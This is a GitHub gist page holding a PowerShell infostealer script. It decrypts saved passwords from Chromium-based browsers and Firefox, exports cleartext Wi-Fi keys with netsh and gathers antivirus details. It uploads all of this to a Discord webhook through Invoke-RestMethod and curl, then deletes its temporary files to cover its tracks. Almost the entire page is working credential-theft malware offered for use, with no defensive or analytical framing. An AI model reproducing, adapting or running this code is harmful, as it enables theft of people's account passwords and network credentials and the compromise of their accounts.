Last active
July 25, 2026 21:26
-
-
Save Gravity3432/ef66a1a99776b45f2cefd32a1463cf32 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| Self-contained browser password scraper. C# 5.0 compatible (PS 5.1). | |
| Uses winsqlite3.dll, BCrypt, and Firefox NSS3. | |
| Exfiltrates to Discord webhook set via $DiscordUrl. | |
| #> | |
| # ------------------------------------------------------------ | |
| # WinSQLite3 wrapper (winsqlite3.dll ships with Win10/11) | |
| # ------------------------------------------------------------ | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class WinSQLite3 { | |
| const string d = "winsqlite3"; | |
| [DllImport(d,EntryPoint="sqlite3_open")] | |
| public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db); | |
| [DllImport(d,EntryPoint="sqlite3_prepare16_v2")] | |
| public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t); | |
| [DllImport(d,EntryPoint="sqlite3_step")] | |
| public static extern IntPtr Step(IntPtr stmt); | |
| [DllImport(d,EntryPoint="sqlite3_column_text16")] | |
| static extern IntPtr ColTxt16(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_bytes")] | |
| static extern int ColBytes(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_column_blob")] | |
| static extern IntPtr ColBlob(IntPtr s,int i); | |
| [DllImport(d,EntryPoint="sqlite3_finalize")] | |
| public static extern IntPtr Finalize(IntPtr s); | |
| [DllImport(d,EntryPoint="sqlite3_close")] | |
| public static extern IntPtr Close(IntPtr db); | |
| public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));} | |
| public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;} | |
| } | |
| "@ | |
| # ------------------------------------------------------------ | |
| # BCrypt AES-256-GCM (Win8+) | |
| # ------------------------------------------------------------ | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class BCryptAES { | |
| [StructLayout(LayoutKind.Sequential)] | |
| struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;} | |
| [DllImport("bcrypt.dll")]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f); | |
| [DllImport("bcrypt.dll")]static extern int BCryptDestroyKey(IntPtr k); | |
| public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){ | |
| IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero; | |
| try{ | |
| if(BCryptOpenAlgorithmProvider(out ha,"AES",null,0)!=0)throw new Exception("alg"); | |
| byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM"); | |
| BCryptSetProperty(ha,"ChainingMode",g,g.Length,0); | |
| if(BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0)!=0)throw new Exception("key"); | |
| byte[]inp=new byte[ct.Length+tag.Length]; | |
| Array.Copy(ct,0,inp,0,ct.Length);Array.Copy(tag,0,inp,ct.Length,tag.Length); | |
| AI ai=new AI();ai.cbs=Marshal.SizeOf(typeof(AI));ai.dwv=1; | |
| GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned); | |
| ai.pn=nh.AddrOfPinnedObject();ai.cn=nonce.Length; | |
| ai.pt=th.AddrOfPinnedObject();ai.ct=tag.Length; | |
| byte[]o=new byte[ct.Length];int rs; | |
| if(BCryptDecrypt(hk,inp,inp.Length,ref ai,null,0,o,o.Length,out rs,0)!=0)throw new Exception("decrypt"); | |
| nh.Free();th.Free(); | |
| byte[]r=new byte[rs];Array.Copy(o,r,rs);return r; | |
| }finally{if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);} | |
| } | |
| } | |
| "@ | |
| # ------------------------------------------------------------ | |
| # Upload-Discord | |
| # ------------------------------------------------------------ | |
| function Upload-Discord { | |
| param([string]$file, [string]$text) | |
| $Body = @{ username = $env:username; content = $text } | |
| if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) } | |
| if ($file) { curl.exe -F "file1=@$file" $DiscordUrl } | |
| } | |
| # ------------------------------------------------------------ | |
| # Chromium password scraper (Chrome/Edge/Brave/Opera/Vivaldi) | |
| # ------------------------------------------------------------ | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath) | |
| $results = @() | |
| $localState = Join-Path $UserDataPath "Local State" | |
| if (-not (Test-Path $localState)) { return $results } | |
| try { | |
| $json = Get-Content $localState -Raw | ConvertFrom-Json | |
| $b64 = $json.os_crypt.encrypted_key | |
| if (-not $b64) { return $results } | |
| $enc = [Convert]::FromBase64String($b64) | |
| $enc = $enc[5..($enc.Length - 1)] | |
| $aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| } catch { return $results } | |
| $profiles = @(Get-ChildItem $UserDataPath -Directory -ErrorAction SilentlyContinue | | |
| Where-Object { $_.Name -like "Profile*" -or $_.Name -eq "Default" }) | |
| if ($profiles.Count -eq 0 -and (Test-Path $UserDataPath)) { | |
| $profiles = @(Get-Item $UserDataPath) | |
| } | |
| foreach ($profile in $profiles) { | |
| $loginDb = Join-Path $profile.FullName "Login Data" | |
| if (-not (Test-Path $loginDb)) { continue } | |
| $tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db" | |
| try { | |
| Copy-Item $loginDb $tmpDb -Force -ErrorAction Stop | |
| $dbH = [IntPtr]::Zero | |
| if ([WinSQLite3]::Open($tmpDb, [ref]$dbH) -ne 0) { continue } | |
| $stmt = [IntPtr]::Zero | |
| if ([WinSQLite3]::Prepare2($dbH, | |
| "SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user = 0", | |
| -1, [ref]$stmt, [IntPtr]::Zero) -ne 0) { | |
| [WinSQLite3]::Close($dbH) | Out-Null; continue | |
| } | |
| while ([WinSQLite3]::Step($stmt) -eq 100) { | |
| $url = [WinSQLite3]::ColStr($stmt, 0) | |
| $user = [WinSQLite3]::ColStr($stmt, 1) | |
| $passBlob = [WinSQLite3]::ColByt($stmt, 2) | |
| if (-not $passBlob -or $passBlob.Length -lt 3) { continue } | |
| $hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3) | |
| if ($hdr -eq 'v10' -or $hdr -eq 'v20') { | |
| try { | |
| $nonce = $passBlob[3..14] | |
| $ct = $passBlob[15..($passBlob.Length - 17)] | |
| $tag = $passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)] | |
| $pass = [Text.Encoding]::UTF8.GetString([BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag)) | |
| } catch { $pass = "(decrypt error)" } | |
| } else { | |
| try { | |
| $pass = [Text.Encoding]::UTF8.GetString( | |
| [System.Security.Cryptography.ProtectedData]::Unprotect( | |
| $passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) | |
| } catch { $pass = "(decrypt error)" } | |
| } | |
| if ($url -and $pass) { | |
| $results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profile.Name;URL=$url;Username=$user;Password=$pass} | |
| } | |
| } | |
| [WinSQLite3]::Finalize($stmt) | Out-Null | |
| [WinSQLite3]::Close($dbH) | Out-Null | |
| } catch {} | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| } | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # Firefox password scraper | |
| # ------------------------------------------------------------ | |
| function Get-FirefoxPasswords { | |
| $results = @() | |
| $ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles" | |
| if (-not (Test-Path $ffProfiles)) { return $results } | |
| Add-Type @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| public static class NSS { | |
| [DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p); | |
| [DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n); | |
| [DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h); | |
| [StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;} | |
| delegate int NSS_InitD(string p); | |
| delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c); | |
| delegate int NSS_ShutdownD(); | |
| static IntPtr hn,hm; | |
| public static bool Init(string ff,string prof){ | |
| hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll"); | |
| if(hn==IntPtr.Zero)return false; | |
| NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD)); | |
| return init(prof)==0; | |
| } | |
| public static string Decrypt(string b64){ | |
| byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length); | |
| Marshal.Copy(d,0,dp,d.Length); | |
| SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length; | |
| IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.StructureToPtr(si,sp,false); | |
| IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem))); | |
| Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0); | |
| SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD)); | |
| if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;} | |
| uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp); | |
| byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol); | |
| Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp); | |
| return Encoding.UTF8.GetString(r); | |
| } | |
| public static void Shutdown(){ | |
| if(hn!=IntPtr.Zero){ | |
| NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD)); | |
| sd();FreeLibrary(hn); | |
| } | |
| if(hm!=IntPtr.Zero)FreeLibrary(hm); | |
| } | |
| } | |
| "@ | Out-Null | |
| $ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox" | |
| if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" } | |
| if (-not (Test-Path $ffDir)) { return $results } | |
| foreach ($profDir in Get-ChildItem $ffProfiles -Directory) { | |
| $loginsJson = Join-Path $profDir.FullName "logins.json" | |
| $keyDb = Join-Path $profDir.FullName "key4.db" | |
| if (-not (Test-Path $loginsJson) -or -not (Test-Path $keyDb)) { continue } | |
| try { | |
| if (-not [NSS]::Init($ffDir, $profDir.FullName)) { continue } | |
| $logins = Get-Content $loginsJson -Raw | ConvertFrom-Json | |
| foreach ($l in $logins.logins) { | |
| try { | |
| $u = [NSS]::Decrypt($l.encryptedUsername) | |
| $p = [NSS]::Decrypt($l.encryptedPassword) | |
| $results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p} | |
| } catch {} | |
| } | |
| [NSS]::Shutdown() | |
| } catch {} | |
| } | |
| return $results | |
| } | |
| # ------------------------------------------------------------ | |
| # WiFi password grabber | |
| # ------------------------------------------------------------ | |
| function Wifi { | |
| $tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())" | |
| New-Item -Path $tmp -ItemType Directory -Force | Out-Null | |
| Set-Location $tmp; netsh wlan export profile key=clear | Out-Null | |
| $out = Join-Path $env:TEMP "wifi_passwords.txt" | |
| Select-String -Path *.xml -Pattern 'keyMaterial' | | |
| % { $_ -replace '', '' } | | |
| % { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } | | |
| % { $_ -replace '.xml:22:', '' } > $out | |
| Upload-Discord -file $out -text ":satellite: WiFi Passwords" | |
| Set-Location $env:TEMP | |
| Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue | |
| Remove-Item $out -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| # Antivirus info | |
| # ------------------------------------------------------------ | |
| function version-av { | |
| $f = Join-Path $env:TEMP "av_info.txt" | |
| Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct | | |
| Out-File -FilePath $f -Encoding utf8 | |
| Upload-Discord -file $f -text ":shield: AV Info" | |
| Remove-Item $f -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| # Browser orchestrator | |
| # ------------------------------------------------------------ | |
| function Get-BrowserPasswords { | |
| $all = @() | |
| $targets = @( | |
| @{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"} | |
| @{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"} | |
| @{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"} | |
| @{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"} | |
| @{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"} | |
| @{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"} | |
| @{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"} | |
| @{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"} | |
| ) | |
| foreach ($t in $targets) { | |
| if (Test-Path $t.P) { $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P } | |
| } | |
| $all += Get-FirefoxPasswords | |
| if ($all.Count -eq 0) { | |
| Upload-Discord -text ":key: Browser Passwords : No credentials found." | |
| return | |
| } | |
| $tmp = Join-Path $env:TEMP "browser_passwords.txt" | |
| $all | Sort-Object Browser, URL | % { | |
| "$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)" | |
| } | Out-File $tmp -Encoding utf8 | |
| $browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', ' | |
| Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)" | |
| Remove-Item $tmp -Force -ErrorAction SilentlyContinue | |
| } | |
| # ------------------------------------------------------------ | |
| # RUN | |
| # ------------------------------------------------------------ | |
| version-av | |
| Wifi | |
| Get-BrowserPasswords |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment